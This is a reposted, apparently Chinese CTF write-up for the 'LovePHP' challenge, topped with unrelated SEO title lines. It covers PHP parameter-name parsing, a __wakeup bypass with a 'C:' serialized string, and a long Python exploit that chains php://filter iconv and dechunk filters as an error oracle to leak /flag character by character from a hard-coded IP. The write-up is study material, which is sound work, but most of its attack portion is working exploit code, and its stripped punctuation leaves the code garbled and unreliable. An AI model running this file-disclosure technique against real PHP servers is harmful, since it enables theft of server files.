服装网站建设环境分析房地产交易网官网
web/
2025/9/27 4:04:20/
文章来源:
服装网站建设环境分析,房地产交易网官网,做农产品的网站名称,黑群辉建设个人网站LovePHP
直接给了源码。 network查看到#xff0c;PHP版本是7.4.33 题目要求我们GET一个my_secret.flag参数#xff0c;根据PHP字符串解析特性#xff0c;PHP需要将所有参数转换为有效的变量名#xff0c;因此在解析查询字符串时#xff0c;它会做两件事#xff1a;
删…LovePHP
直接给了源码。 network查看到PHP版本是7.4.33 题目要求我们GET一个my_secret.flag参数根据PHP字符串解析特性PHP需要将所有参数转换为有效的变量名因此在解析查询字符串时它会做两件事
删除空白符将某些字符 [ 空格 . 转换为下划线
实际应用
get传参NSS_JAY,不能直接传时传NSS[JAY。 //php的变量解析绕过[ 被处理成 _当[提前出现后后面的 . 就不会再被转义成_了。当这些字符为首字母时只有点号会被替换成下划线
所以我们传参名字应该是my[secret.flag。源码将参数my[secret.flag反序列化。
PHP版本7.4.33wakeup只能采用C绕过。C:8:Saferman:0:{}。这种情况下反序列化只执行构造方法construct和析构方法destruct。 ?php
//本地调试
class Saferman{public $check True;public function __destruct(){if($this-check True){/*file(file_put_contents(php://filter/writeconvert.base64-decode/resource1.txt,PD9waHAgcGhwaW5mbygpOz8));var_dump(file(data://text/plain,?php system(\ls\);?));*///file(eval(system(dir);));file(?php eval(\system(\ls\)\)?);}}public function __wakeup(){$this-checkFalse;}
}//phpinfo();
unserialize(C:8:Saferman:0:{});payload?my[secret.flagC:8:Saferman:0:{}
但是过了wakeup问题又来了。file()函数读取文件后把内容储存到数组中并不回显。经过无比艰难的搜索找到一篇文章Webの侧信道初步认识 | Boogiepop Doesn’t Laugh (boogipop.com)
import requests
import sys
from base64 import b64decode
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chaindechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LEdoes not cause a 500 error.THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
def join(*x):return |.join(x)def err(s):print(s)raise ValueError####唯一修改点
def req(s):data {0: fphp://filter/{s}/resource/flag}#return requests.post(http://localhost:5000/index.php, datadata).status_code 500urlhttp://39.105.5.7:49688/?my[secret.flagC:8:Saferman:0:{}secretfphp://filter/{s}/resource/flagreturn requests.get(urlurl).status_code 500
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signsbase64-encoding the flag file twice takes care of the first condition.We dont know the length of the flag file, so we cant be sure that it will end with two equals
signs.Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so thats what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
blow_up_enc join(*[convert.quoted-printable-encode]*1000)
blow_up_utf32 convert.iconv.L1.UCS-4LE
blow_up_inf join(*[blow_up_utf32]*50)header convert.base64-encode|convert.base64-encode# Start get baseline blowup
print(Calculating blowup)
baseline_blowup 0
for n in range(100):payload join(*[blow_up_utf32]*n)if req(f{header}|{payload}):baseline_blowup nbreak
else:err(something wrong)print(fbaseline blowup is {baseline_blowup})trailer join(*[blow_up_utf32]*(baseline_blowup-1))assert req(f{header}|{trailer}) Falseprint(detecting equals)
j [req(fconvert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}),req(fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}),req(fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer})
]
print(j)
if sum(j) ! 2:err(something wrong)
if j[0] False:header fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode
elif j[1] False:header fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode
elif j[2] False:header fconvert.base64-encode|convert.base64-encode
else:err(something wrong)
print(fj: {j})
print(fheader: {header})
Step two:
Now we have something of the form
[a-zA-Z0-9 things]Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldnt find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh - badcfehgconvert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh - dcbahgfeThis allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends 0xff0xfe to the start of
the string:abcdefgh - 0xff0xfeabcdefghThe idea being that if we now use the r4 gadget, we get something like:
ba0xfe0xfffedcAnd then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
0xfe0xff to get:
bafedcAnd then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. Theres only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7It will turn the into:
---AD0-3D3D---AD0-3D3DAnd this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!Lets recap. We have a string like:
abcdefghijApply the convert.quoted-printable-encode convert.iconv.L1.utf7:
abcdefghij---AD0-3D3D---AD0-3D3DApply convert.iconv.CSUNICODE.CSUNICODE:
0xff0xfeabcdefghij---AD0-3D3D---AD0-3D3DApply r4 gadget:
ba0xfe0xfffedcjihg----0DAD3D3----0DAD3D3Apply base64-decode | base64-encode, so the - and high bytes will disappear:
bafedcjihg0DAD3D30DAD3DwThen apply r4 once more:
efabijcd0gh3DAD03D3DADwDAnd heres the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
flip convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode
r2 convert.iconv.CSUNICODE.UCS-2BE
r4 convert.iconv.UCS-4LE.10646-1:1993def get_nth(n):global flip, r2, r4o []chunk n // 2if chunk % 2 1: o.append(r4)o.extend([flip, r4] * (chunk // 2))if (n % 2 1) ^ (chunk % 2 1): o.append(r2)return join(*o)
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So its just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.Numbers are a bit trickier because iconv doesnt tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
rot1 convert.iconv.437.CP930
be convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode
o def find_letter(prefix):if not req(f{prefix}|dechunk|{blow_up_inf}):# a-f A-F 0-9if not req(f{prefix}|{rot1}|dechunk|{blow_up_inf}):# a-efor n in range(5):if req(f{prefix}| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return edcba[n]breakelse:err(something wrong)elif not req(f{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}):# A-Efor n in range(5):if req(f{prefix}|string.tolower| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return EDCBA[n]breakelse:err(something wrong)elif not req(f{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}):return *elif not req(f{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# freturn felif not req(f{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Freturn Felse:err(something wrong)elif not req(f{prefix}|string.rot13|dechunk|{blow_up_inf}):# n-s N-Sif not req(f{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}):# n-rfor n in range(5):if req(f{prefix}|string.rot13| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return rqpon[n]breakelse:err(something wrong)elif not req(f{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}):# N-Rfor n in range(5):if req(f{prefix}|string.rot13|string.tolower| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return RQPON[n]breakelse:err(something wrong)elif not req(f{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# sreturn selif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Sreturn Selse:err(something wrong)elif not req(f{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}):# i j kif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return kelif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return jelif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return ielse:err(something wrong)elif not req(f{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}):# I J Kif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return Kelif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Jelif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Ielse:err(something wrong)elif not req(f{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}):# v w xif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return xelif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return welif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return velse:err(something wrong)elif not req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}):# V W Xif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return Xelif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Welif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Velse:err(something wrong)elif not req(f{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# Zreturn Zelif not req(f{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# zreturn zelif not req(f{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# Mreturn Melif not req(f{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# mreturn melif not req(f{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# yreturn yelif not req(f{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# Yreturn Yelif not req(f{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# lreturn lelif not req(f{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# Lreturn Lelif not req(f{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# hreturn helif not req(f{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# Hreturn Helif not req(f{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# ureturn uelif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# Ureturn Uelif not req(f{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# greturn gelif not req(f{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Greturn Gelif not req(f{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# treturn telif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Treturn Telse:err(something wrong)print()
for i in range(100):prefix f{header}|{get_nth(i)}letter find_letter(prefix)# its a number! check base64if letter *:prefix f{header}|{get_nth(i)}|convert.base64-encodes find_letter(prefix)if s M:# 0 - 3prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 0elif ss in STUVWX:letter 1elif ss in ijklmn:letter 2elif ss in yz*:letter 3else:err(fbad num ({ss}))elif s N:# 4 - 7prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 4elif ss in STUVWX:letter 5elif ss in ijklmn:letter 6elif ss in yz*:letter 7else:err(fbad num ({ss}))elif s O:# 8 - 9prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 8elif ss in STUVWX:letter 9else:err(fbad num ({ss}))else:err(wtf)print(endletter)o lettersys.stdout.flush()
We are done!! :)
print()
d b64decode(o.encode() b * 4)
# remove KR padding
d d.replace(b$)C,b)
print(b64decode(d))猜测flag在根目录的/flag中修改脚本中的req(s)方法。 运行得到flag。 https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR/
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/82528.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!